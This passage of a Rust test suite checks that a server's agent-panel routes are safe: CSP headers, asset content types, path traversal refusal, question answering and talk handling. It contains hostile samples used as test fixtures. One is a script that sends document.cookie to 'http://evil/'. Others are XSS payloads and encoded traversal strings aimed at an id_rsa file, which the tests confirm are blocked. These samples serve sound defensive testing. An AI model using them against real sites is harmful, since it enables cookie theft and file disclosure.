4377        let mut q = Question::new(
4378            "20260902-000000-beef".to_owned(),
4379            "land".to_owned(),
4380            "fix".to_owned(),
4381            "Merge this?".to_owned(),
4382            "the diff is in the panel".to_owned(),
4383            vec!["merge".to_owned(), "hold".to_owned()],
4384        );
4385        // Staged outside the questions root, because `put_panel` copies from
4386        // wherever the agent left its files.
4387        let staging = fx.home.path().join("staging");
4388        std::fs::create_dir_all(&staging).expect("staging dir");
4389        let sources: Vec<PathBuf> = assets
4390            .iter()
4391            .map(|(name, bytes)| {
4392                let path = staging.join(name);
4393                std::fs::write(&path, bytes).expect("write staged asset");
4394                path
4395            })
4396            .collect();
4397        store
4398            .put_panel(&mut q, html, &sources)
4399            .expect("write the panel");
4400        store.put(&mut q).expect("put question");
4401        q.id
4402    }
4403
4404    /// A talk on disk, without talking to a model.
4405    ///
4406    /// Written as JSON straight into the store the server reads, because the
4407    /// only constructor `talk::begin` offers takes no turn but still requires
4408    /// a real caller-visible flow. The one thing this cannot make up is the
4409    /// seat, so it is built with the real `SeatState::new` and serialized -
4410    /// the alternative, hand-writing that object, would make these tests fail
4411    /// the day the seat gains a field.
4412    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4413        let store = fx.talks();
4414        std::fs::create_dir_all(store.root()).expect("talks dir");
4415        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4416            .expect("serialize a seat");
4417        let body = serde_json::json!({
4418            "schema": 1,
4419            "id": id,
4420            "repo": "/repo/magi",
4421            "agent": "mock",
4422            "status": status,
4423            "turns": [],
4424            "created_at": Timestamp::now().to_string(),
4425            "updated_at": Timestamp::now().to_string(),
4426            "seat": seat,
4427        });
4428        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4429        store.get(id).expect("the seeded talk has to be readable");
4430        id.to_owned()
4431    }
4432
4433    #[tokio::test]
4434    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4435        let fx = Fixture::start().await;
4436        let id = panel(
4437            &fx,
4438            "<h1>Merge?</h1><img src=\"diff.svg\">",
4439            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4440        );
4441
4442        for path in [
4443            format!("/api/questions/{id}/panel"),
4444            format!("/api/questions/{id}/asset/diff.svg"),
4445        ] {
4446            let res = fx.get(&path).await;
4447            assert_eq!(res.status, 200, "{path}: {}", res.body);
4448            // The whole string, not a substring. A weakened directive - an
4449            // `img-src *` that lets a panel beacon out to a remote host, a
4450            // `script-src` anything, a missing `form-action` that lets it post
4451            // the owner's decision to a third party - has to fail here, and a
4452            // `contains` assertion would let every one of those through.
4453            assert_eq!(
4454                res.header("content-security-policy"),
4455                Some(
4456                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4457                     font-src data:; base-uri 'none'; form-action 'none'; \
4458                     frame-ancestors 'self'"
4459                ),
4460                "{path} is the only thing between a hostile panel and the tailnet"
4461            );
4462            assert_eq!(
4463                res.header("x-content-type-options"),
4464                Some("nosniff"),
4465                "{path}: a browser must not re-decide the type we sent"
4466            );
4467            assert_eq!(
4468                res.header("referrer-policy"),
4469                Some("no-referrer"),
4470                "{path}: a panel must not leak the question id off the machine"
4471            );
4472
4473            // The front end mounts the frame only after a `HEAD` says the
4474            // panel is there, so `HEAD` has to answer with the same status and
4475            // the same policy as `GET` - a preflight that came back without
4476            // the CSP would mean a frame mounted on an unverified promise.
4477            let pre = fx.head(&path).await;
4478            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4479            assert_eq!(
4480                pre.header("content-security-policy"),
4481                res.header("content-security-policy"),
4482                "{path}: the preflight carries the same policy"
4483            );
4484            assert_eq!(
4485                pre.header("content-type"),
4486                res.header("content-type"),
4487                "{path}: the preflight carries the same type"
4488            );
4489        }
4490    }
4491
4492    #[tokio::test]
4493    async fn a_panel_reaches_the_browser_byte_for_byte() {
4494        let fx = Fixture::start().await;
4495        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4496        // tag, an entity, and a multi-byte character. The sandbox is what makes
4497        // this safe, so nothing here may be rewritten on the way out - a
4498        // rewritten diff is a diff the owner cannot trust.
4499        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4500        let id = panel(&fx, html, &[]);
4501
4502        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4503
4504        assert_eq!(res.status, 200);
4505        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4506        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4507        assert_eq!(
4508            res.header("content-disposition"),
4509            None,
4510            "the panel itself is rendered in the frame, not downloaded"
4511        );
4512    }
4513
4514    #[tokio::test]
4515    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4516        let fx = Fixture::start().await;
4517        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4518        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4519        let id = panel(
4520            &fx,
4521            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4522            &[("diff.svg", svg), ("shot.png", png)],
4523        );
4524
4525        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4526        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4527
4528        assert_eq!(as_svg.status, 200);
4529        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4530        // An SVG is XML that may carry script. Inside the panel it is an
4531        // `<img src>` and the script cannot run; opened at the top level it
4532        // would be a document on magi's own origin, so the browser is told to
4533        // download it instead of rendering it.
4534        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4535
4536        assert_eq!(as_png.status, 200);
4537        assert_eq!(as_png.header("content-type"), Some("image/png"));
4538        assert_eq!(
4539            as_png.header("content-disposition"),
4540            None,
4541            "a raster image has no execution surface, so tapping it still shows it"
4542        );
4543        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4544    }
4545
4546    #[tokio::test]
4547    async fn an_html_asset_is_never_served_as_html() {
4548        let fx = Fixture::start().await;
4549        let id = panel(
4550            &fx,
4551            "<p>see the notes</p>",
4552            &[
4553                (
4554                    "notes.html",
4555                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4556                ),
4557                ("hook.js", b"fetch('http://evil/')"),
4558                ("data.json", b"{}"),
4559                ("HEADLINE.TXT", b"plain"),
4560            ],
4561        );
4562
4563        for name in ["notes.html", "hook.js", "data.json"] {
4564            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4565            assert_eq!(res.status, 200, "{name}: {}", res.body);
4566            // Serving this as text/html would be a way to reach agent markup
4567            // at the top level of the operator's browser, outside the frame's
4568            // sandbox and outside its CSP - which is the whole thing the panel
4569            // design exists to prevent. Unlisted types are downloads.
4570            assert_eq!(
4571                res.header("content-type"),
4572                Some("application/octet-stream"),
4573                "{name} must not be a type the browser will execute or render"
4574            );
4575        }
4576        // The whitelist is matched case-insensitively, so an agent shouting the
4577        // extension still gets a readable file rather than a download.
4578        let txt = fx
4579            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4580            .await;
4581        assert_eq!(
4582            txt.header("content-type"),
4583            Some("text/plain; charset=utf-8")
4584        );
4585    }
4586
4587    #[tokio::test]
4588    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4589        let fx = Fixture::start().await;
4590        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4591        // Something outside the panel directory that a traversal would reach if
4592        // one got through, so a passing test is not merely "the file was
4593        // missing anyway".
4594        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4595
4596        // Decoded before this server's handler sees them: axum percent-decodes
4597        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4598        // string with a NUL in it. All three look like ordinary single-segment
4599        // filenames to the router, so the router passes them through and
4600        // `valid_asset_name` is what refuses them - for the literal `..`, and
4601        // for `/`, `\` and NUL not being in the permitted character set.
4602        for encoded in [
4603            "%2e%2e%2fid_rsa",
4604            "..%2fid_rsa",
4605            "..%5cid_rsa",
4606            "%2e%2e%5cid_rsa",
4607            "diff%00.svg",
4608            "..",
4609            ".hidden",
4610            "%2e%2e%2f%2e%2e%2fid_rsa",
4611        ] {
4612            let res = fx
4613                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4614                .await;
4615            assert_eq!(
4616                res.status, 400,
4617                "`{encoded}` has to be refused by name, not looked up: {}",
4618                res.body
4619            );
4620            assert!(res.json()["error"].is_string(), "{}", res.body);
4621        }
4622
4623        // Not decoded, and never this handler's problem: a real slash makes the
4624        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4625        // so axum's router has no route to match and answers before any code
4626        // here runs. Asserted so that a future route with a wildcard segment
4627        // cannot quietly open this door.
4628        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4629            let res = fx
4630                .get(&format!("/api/questions/{id}/asset/{literal}"))
4631                .await;
4632            assert_eq!(
4633                res.status, 404,
4634                "`{literal}` must not match the asset route at all: {}",
4635                res.body
4636            );
4637        }
4638    }
4639
4640    #[tokio::test]
4641    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4642        let fx = Fixture::start().await;
4643        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4644        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4645
4646        // A question nobody wrote a panel for. The client preflights with HEAD
4647        // and cannot see inside a sandboxed frame, so this must be a status and
4648        // not an empty page.
4649        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4650        assert_eq!(none.status, 404, "{}", none.body);
4651        assert!(none.json()["error"].is_string(), "{}", none.body);
4652        assert_eq!(
4653            fx.head(&format!("/api/questions/{plain}/panel"))
4654                .await
4655                .status,
4656            404,
4657            "the preflight is the only way the client can learn this"
4658        );
4659
4660        // A name that is perfectly legal and simply is not there.
4661        let missing = fx
4662            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4663            .await;
4664        assert_eq!(missing.status, 404, "{}", missing.body);
4665        assert!(missing.json()["error"].is_string(), "{}", missing.body);
4666
4667        // A question that does not exist at all, on both routes.
4668        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4669        assert_eq!(
4670            fx.get("/api/questions/nope/asset/diff.svg").await.status,
4671            404
4672        );
4673    }
4674
4675    #[tokio::test]
4676    async fn a_run_with_an_open_question_reads_as_waiting() {
4677        let fx = Fixture::start().await;
4678        let run = "20260902-000000-beef".to_owned();
4679        write_run(&fx.runs(), &run, RunStatus::Implementing);
4680
4681        let before = fx.get("/api/runs").await.json();
4682        assert_eq!(before[0]["waiting"], false, "{before}");
4683
4684        let store = fx.questions();
4685        let mut q = Question::new(
4686            run.clone(),
4687            "implement".to_owned(),
4688            "impl-A".to_owned(),
4689            "Which backend?".to_owned(),
4690            String::new(),
4691            vec!["SQLite".to_owned()],
4692        );
4693        store.put(&mut q).expect("put");
4694
4695        let during = fx.get("/api/runs").await.json();
4696        assert_eq!(during[0]["waiting"], true, "{during}");
4697
4698        // Answered: the run is moving again, and the flag has to follow without
4699        // anything having rewritten run.json.
4700        q.answer(Answer::Choice("SQLite".to_owned()))
4701            .expect("answer");
4702        store.put(&mut q).expect("put");
4703        let after = fx.get("/api/runs").await.json();
4704        assert_eq!(after[0]["waiting"], false, "{after}");
4705    }
4706
4707    #[tokio::test]
4708    async fn an_open_question_is_listed_and_counted_by_health() {
4709        let fx = Fixture::start().await;
4710        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4711
4712        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4713        let listed = fx.get("/api/questions").await.json();
4714        assert_eq!(listed.as_array().expect("array").len(), 1);
4715        assert_eq!(listed[0]["id"], id);
4716        assert_eq!(listed[0]["status"], "open");
4717        assert_eq!(listed[0]["choices"][1], "Redis");
4718        // The count is what makes the phone's indicator honest: it is the one
4719        // number meaning nothing will move until a human acts.
4720        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4721    }
4722
4723    #[tokio::test]
4724    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4725        let fx = Fixture::start().await;
4726        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4727        let path = format!("/api/questions/{id}/answer");
4728
4729        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4730        assert_eq!(res.status, 200, "{}", res.body);
4731        let body = res.json();
4732        assert_eq!(body["status"], "answered");
4733        assert_eq!(body["answer"]["choice"], "Redis");
4734
4735        // Answered from the terminal in between the list and the tap: the UI
4736        // must be able to tell this from a bad request, so it can show the
4737        // recorded answer instead of an error.
4738        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4739        assert_eq!(again.status, 409, "{}", again.body);
4740        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4741    }
4742
4743    #[tokio::test]
4744    async fn saying_something_appends_a_turn_without_answering() {
4745        let fx = Fixture::start().await;
4746        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4747        let path = format!("/api/questions/{id}/say");
4748
4749        let res = fx
4750            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4751            .await;
4752        assert_eq!(res.status, 200, "{}", res.body);
4753        let body = res.json();
4754        assert_eq!(body["status"], "open", "talking back is not a decision");
4755        assert_eq!(body["answer"], Value::Null);
4756        assert_eq!(body["thread"][0]["who"], "operator");
4757        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4758        assert_eq!(body["waiting_on_agent"], true);
4759        // Still open, still counted, still exactly one question.
4760        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4761    }
4762
4763    #[tokio::test]
4764    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4765        let fx = Fixture::start().await;
4766        let store = fx.questions();
4767        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4768        assert_eq!(
4769            fx.get("/api/health").await.json()["questions_needs_owner"],
4770            1
4771        );
4772
4773        // The owner asks back instead of deciding: the ask bar, the nav badge
4774        // and the title must stop naming this question, because there is
4775        // nothing to decide until the agent answers - `status` alone cannot
4776        // say that, which is the whole reason `questions_needs_owner` exists
4777        // alongside `questions_open`.
4778        let res = fx
4779            .post(
4780                &format!("/api/questions/{id}/say"),
4781                Some(r#"{"body":"why not Postgres?"}"#),
4782            )
4783            .await;
4784        assert_eq!(res.status, 200, "{}", res.body);
4785        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4786        assert_eq!(
4787            fx.get("/api/health").await.json()["questions_needs_owner"],
4788            0,
4789            "waiting on the agent is not waiting on the owner"
4790        );
4791
4792        // `magi ask --thread` replying is what brings the owner count back -
4793        // the same event that would resume the CLI call blocked in `magi
4794        // ask`.
4795        let mut q = store.get(&id).expect("get");
4796        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4797            .expect("reply");
4798        store.put(&mut q).expect("put");
4799        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4800        assert_eq!(
4801            fx.get("/api/health").await.json()["questions_needs_owner"],
4802            1,
4803            "the agent's reply is what should light the banner back up"
4804        );
4805    }
4806
4807    #[tokio::test]
4808    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4809        let fx = Fixture::start().await;
4810        let store = fx.questions();
4811
4812        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4813        let res = fx
4814            .post(
4815                &format!("/api/questions/{empty_id}/say"),
4816                Some(r#"{"body":"   "}"#),
4817            )
4818            .await;
4819        assert_eq!(res.status, 400, "{}", res.body);
4820
4821        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4822        let mut answered = store.get(&answered_id).expect("get");
4823        answered
4824            .answer(Answer::Choice("SQLite".to_owned()))
4825            .expect("answer");
4826        store.put(&mut answered).expect("put");
4827        let res = fx
4828            .post(
4829                &format!("/api/questions/{answered_id}/say"),
4830                Some(r#"{"body":"still there?"}"#),
4831            )
4832            .await;
4833        assert_eq!(res.status, 409, "{}", res.body);
4834
4835        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4836        let mut abandoned = store.get(&abandoned_id).expect("get");
4837        abandoned.abandon("timed out");
4838        store.put(&mut abandoned).expect("put");
4839        let res = fx
4840            .post(
4841                &format!("/api/questions/{abandoned_id}/say"),
4842                Some(r#"{"body":"still there?"}"#),
4843            )
4844            .await;
4845        assert_eq!(res.status, 409, "{}", res.body);
4846    }
4847
4848    #[tokio::test]
4849    async fn an_answer_the_question_does_not_offer_is_refused() {
4850        let fx = Fixture::start().await;
4851        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4852        let path = format!("/api/questions/{id}/answer");
4853
4854        for body in [
4855            r#"{"choice":"Postgres"}"#,
4856            r#"{"text":"whatever you think"}"#,
4857            r#"{"choice":"Redis","text":"both"}"#,
4858            r#"{}"#,
4859        ] {
4860            let res = fx.post(&path, Some(body)).await;
4861            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4862            assert!(res.json()["error"].is_string(), "{}", res.body);
4863        }
4864        // Nothing above may have answered it.
4865        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4866    }
4867
4868    #[tokio::test]
4869    async fn a_free_text_question_takes_text_and_not_a_choice() {
4870        let fx = Fixture::start().await;
4871        let id = ask(&fx, "What should the flag be called?", &[]);
4872        let path = format!("/api/questions/{id}/answer");
4873
4874        assert_eq!(
4875            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4876            400
4877        );
4878        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4879        assert_eq!(res.status, 200, "{}", res.body);
4880        assert_eq!(res.json()["answer"]["text"], "--json");
4881    }
4882
4883    #[tokio::test]
4884    async fn an_unknown_question_is_a_json_404() {
4885        let fx = Fixture::start().await;
4886        let res = fx
4887            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4888            .await;
4889        assert_eq!(res.status, 404, "{}", res.body);
4890        assert!(res.json()["error"].is_string());
4891    }
4892
4893    /// New work reaches the queue through `magi task add`, a standing talk's
4894    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
4895    /// so the compose form and that route are gone. The tests that covered
4896    /// that route's validation went with it, and nothing was left asserting
4897    /// it stays gone — so a re-added handler would silently let the phone
4898    /// file briefs no one validated.
4899    #[tokio::test]
4900    async fn a_task_cannot_be_filed_over_the_phone_directly() {
4901        let f = Fixture::start().await;
4902
4903        let res = f
4904            .post(
4905                "/api/queue",
4906                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4907            )
4908            .await;
4909
4910        assert_eq!(
4911            res.status, 405,
4912            "POST /api/queue must not be a route: {}",
4913            res.body
4914        );
4915        assert!(
4916            f.queue().list().is_empty(),
4917            "a task filed by a route that does not exist must not reach the disk"
4918        );
4919        // The path itself is still served — the Queue view reads it — and the
4920        // per-task controls are untouched by the entry being removed.
4921        assert_eq!(f.get("/api/queue").await.status, 200);
4922    }
4923
4924    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
4925    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4926        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4927            .expect("checkout dir");
4928    }
4929
4930    #[tokio::test]
4931    async fn repos_list_returns_name_and_path_for_every_configured_root() {
4932        let tmp = TempDir::new().expect("tempdir");
4933        let repo = tmp.path().join("repo");
4934        std::fs::create_dir_all(&repo).expect("repo dir");
4935        let root = tmp.path().join("root");
4936        make_checkout(&root, "github.com", "yukimemi", "magi");
4937        std::fs::write(
4938            repo.join("magi.toml"),
4939            format!(
4940                "[repos]\nroots = [{:?}]\n",
4941                root.to_string_lossy().into_owned()
4942            ),
4943        )
4944        .expect("write magi.toml");
4945
4946        let f = Fixture::with_repo(repo).await;
4947        let res = f.get("/api/repos").await;
4948        assert_eq!(res.status, 200, "{}", res.body);
4949        let list = res.json();
4950        let repos = list.as_array().expect("an array");
4951        assert_eq!(repos.len(), 1);
4952        assert_eq!(repos[0]["name"], "yukimemi/magi");
4953        assert!(
4954            repos[0]["path"]
4955                .as_str()
4956                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4957            "{list}"
4958        );
4959    }
4960
4961    #[tokio::test]
4962    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4963        let tmp = TempDir::new().expect("tempdir");
4964        let repo = tmp.path().join("repo");
4965        std::fs::create_dir_all(&repo).expect("repo dir");
4966        let root = tmp.path().join("root");
4967        make_checkout(&root, "github.com", "yukimemi", "magi");
4968        std::fs::write(
4969            repo.join("magi.toml"),
4970            format!(
4971                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4972                root.to_string_lossy().into_owned()
4973            ),
4974        )
4975        .expect("write magi.toml");
4976
4977        let f = Fixture::with_repo(repo).await;
4978        let first = f.get("/api/repos").await;
4979        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4980
4981        // A second checkout appears; within the TTL the cached answer must
4982        // not notice it.
4983        make_checkout(&root, "github.com", "yukimemi", "rvpm");
4984        let second = f.get("/api/repos").await;
4985        assert_eq!(
4986            second.json().as_array().map(Vec::len),
4987            Some(1),
4988            "a fresh cache must not rescan inside the TTL"
4989        );
4990
4991        let refreshed = f.get("/api/repos?refresh=1").await;
4992        assert_eq!(
4993            refreshed.json().as_array().map(Vec::len),
4994            Some(2),
4995            "an explicit refresh must rescan even inside the TTL"
4996        );
4997    }
4998
4999    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5000    /// string, declared straight in a repository's own `magi.toml` rather
5001    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5002    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
5003    /// this is safe to run over a real HTTP round trip.
5004    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5005
5006    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5007    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5008    /// even though it takes no turn, and `talk_say` invokes one.
5009    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5010        let tmp = TempDir::new().expect("tempdir");
5011        let repo = tmp.path().join("repo");
5012        std::fs::create_dir_all(&repo).expect("repo dir");
5013        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5014        let f = Fixture::with_repo(repo.clone()).await;
5015        (tmp, repo, f)
5016    }
5017
5018    #[tokio::test]
5019    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5020        let (_tmp, _repo, f) = talk_fixture().await;
5021
5022        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5023        // is the ordinary way a phone opens a talk.
5024        let opened = f.post("/api/talks", None).await;
5025        assert_eq!(opened.status, 201, "{}", opened.body);
5026        let body = opened.json();
5027        assert_eq!(body["status"], "open");
5028        assert_eq!(
5029            body["turns"].as_array().unwrap().len(),
5030            0,
5031            "opening takes no agent turn: there is nothing yet to answer"
5032        );
5033
5034        // An explicit empty object is the same request as none at all.
5035        let also_opened = f.post("/api/talks", Some("{}")).await;
5036        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5037
5038        let listed = f.get("/api/talks").await.json();
5039        assert_eq!(listed.as_array().unwrap().len(), 2);
5040    }
5041
5042    #[tokio::test]
5043    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5044        let f = Fixture::start().await;
5045        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5046        let queue = f.queue();
5047        let mut mine = Task::new(
5048            "rename the loader".to_owned(),
5049            "rename the loader".to_owned(),
5050            PathBuf::from("/repo/magi"),
5051            Source::Agent {
5052                run: talk_id.clone(),
5053                node: "chat".to_owned(),
5054            },
5055        );
5056        queue.put(&mut mine).expect("file the task");
5057        let mut theirs = Task::new(
5058            "unrelated".to_owned(),
5059            "unrelated".to_owned(),
5060            PathBuf::from("/repo/magi"),
5061            Source::Human,
5062        );
5063        queue.put(&mut theirs).expect("file the task");
5064
5065        let res = f.get(&format!("/api/talks/{talk_id}")).await;
5066        assert_eq!(res.status, 200, "{}", res.body);
5067        let body = res.json();
5068        assert_eq!(
5069            body["status"], "open",
5070            "filing a task does not close a talk"
5071        );
5072        let tasks = body["tasks"].as_array().expect("tasks array");
5073        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5074        assert_eq!(tasks[0]["id"], mine.id);
5075    }
5076
5077    #[tokio::test]
5078    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5079        let (_tmp, _repo, f) = talk_fixture().await;
5080        let id = f.post("/api/talks", None).await.json()["id"]
5081            .as_str()
5082            .expect("id")
5083            .to_owned();
5084
5085        let res = f
5086            .post(
5087                &format!("/api/talks/{id}/say"),
5088                Some(r#"{"text":"what does the queue module do?"}"#),
5089            )
5090            .await;
5091        assert_eq!(res.status, 202, "{}", res.body);
5092        let queued = res.json();
5093        let turns = queued["turns"].as_array().expect("turns array");
5094        assert_eq!(
5095            turns.len(),
5096            1,
5097            "the answer reflects only what is on disk the instant it is sent, \
5098             before the agent's turn - which can run for the whole of \
5099             `[graph] timeout_talk` - has a chance to land: {queued}"
5100        );
5101        assert_eq!(turns[0]["who"], "operator");
5102        assert_eq!(turns[0]["body"], "what does the queue module do?");
5103        assert_eq!(
5104            queued["thinking"], true,
5105            "the accepted response exposes the background turn claim: {queued}"
5106        );
5107
5108        let mut turns_after = 1;
5109        for _ in 0..200 {
5110            let detail = f.get(&format!("/api/talks/{id}")).await.json();
5111            turns_after = detail["turns"].as_array().expect("turns array").len();
5112            if turns_after == 2 {
5113                break;
5114            }
5115            tokio::time::sleep(Duration::from_millis(10)).await;
5116        }
5117        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5118    }
5119
5120    #[tokio::test]
5121    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5122        let (_tmp, _repo, f) = talk_fixture().await;
5123        let id = f.post("/api/talks", None).await.json()["id"]
5124            .as_str()
5125            .expect("id")
5126            .to_owned();
5127        let store = f.talks();
5128        let mut recovered = store.get(&id).expect("opened talk");
5129        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5130            .expect("persist pending draft without a live turn");
5131
5132        let edited = f
5133            .post(
5134                &format!("/api/talks/{id}/pending/edit"),
5135                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5136            )
5137            .await;
5138        assert_eq!(edited.status, 200, "{}", edited.body);
5139        assert!(edited.json()["thinking"].as_bool().unwrap());
5140
5141        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5142        for _ in 0..200 {
5143            if detail["turns"].as_array().expect("turns").len() == 2 {
5144                break;
5145            }
5146            tokio::time::sleep(Duration::from_millis(10)).await;
5147            detail = f.get(&format!("/api/talks/{id}")).await.json();
5148        }
5149        let turns = detail["turns"].as_array().expect("turns");
5150        assert_eq!(
5151            turns.len(),
5152            2,
5153            "the recovered draft must run once: {detail}"
5154        );
5155        assert_eq!(turns[0]["body"], "corrected");
5156        assert_eq!(detail["pending"], "");
5157    }
5158
5159    #[tokio::test]
5160    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5161        let tmp = TempDir::new().expect("tempdir");
5162        let repo = tmp.path().join("repo");
5163        std::fs::create_dir_all(&repo).expect("repo dir");
5164        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5165        let f = Fixture::with_repo(repo).await;
5166        let id = f.post("/api/talks", None).await.json()["id"]
5167            .as_str()
5168            .expect("id")
5169            .to_owned();
5170        let store = f.talks();
5171        let mut recovered = store.get(&id).expect("opened talk");
5172        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5173            .expect("persist pending draft without a live turn");
5174
5175        let refused = f
5176            .post(
5177                &format!("/api/talks/{id}/say"),
5178                Some(r#"{"text":"new message"}"#),
5179            )
5180            .await;
5181        assert_eq!(refused.status, 409, "{}", refused.body);
5182        assert!(refused.body.contains("resume"), "{}", refused.body);
5183        let saved = store.get(&id).expect("draft remains after refusal");
5184        assert!(saved.turns.is_empty());
5185        assert_eq!(saved.pending, "saved before restart");
5186
5187        let say_path = format!("/api/talks/{id}/say");
5188        let (first, second) = tokio::join!(
5189            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5190            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5191        );
5192        assert_eq!(first.status, 409, "{}", first.body);
5193        assert_eq!(second.status, 409, "{}", second.body);
5194        let saved = store
5195            .get(&id)
5196            .expect("draft remains after concurrent refusals");
5197        assert!(saved.turns.is_empty());
5198        assert_eq!(saved.pending, "saved before restart");
5199
5200        let resumed = f
5201            .post(&format!("/api/talks/{id}/pending/resume"), None)
5202            .await;
5203        assert_eq!(resumed.status, 202, "{}", resumed.body);
5204        let duplicate = f
5205            .post(&format!("/api/talks/{id}/pending/resume"), None)
5206            .await;
5207        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5208
5209        for _ in 0..200 {
5210            if store.get(&id).expect("talk").turns.len() == 2 {
5211                break;
5212            }
5213            tokio::time::sleep(Duration::from_millis(10)).await;
5214        }
5215        let finished = store.get(&id).expect("finished talk");
5216        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5217        assert_eq!(finished.turns[0].body, "saved before restart");
5218        assert!(finished.pending.is_empty());
5219    }
5220
5221    #[tokio::test]
5222    async fn an_image_only_recovered_draft_resumes_without_text() {
5223        let (_tmp, _repo, f) = talk_fixture().await;
5224        let id = f.post("/api/talks", None).await.json()["id"]
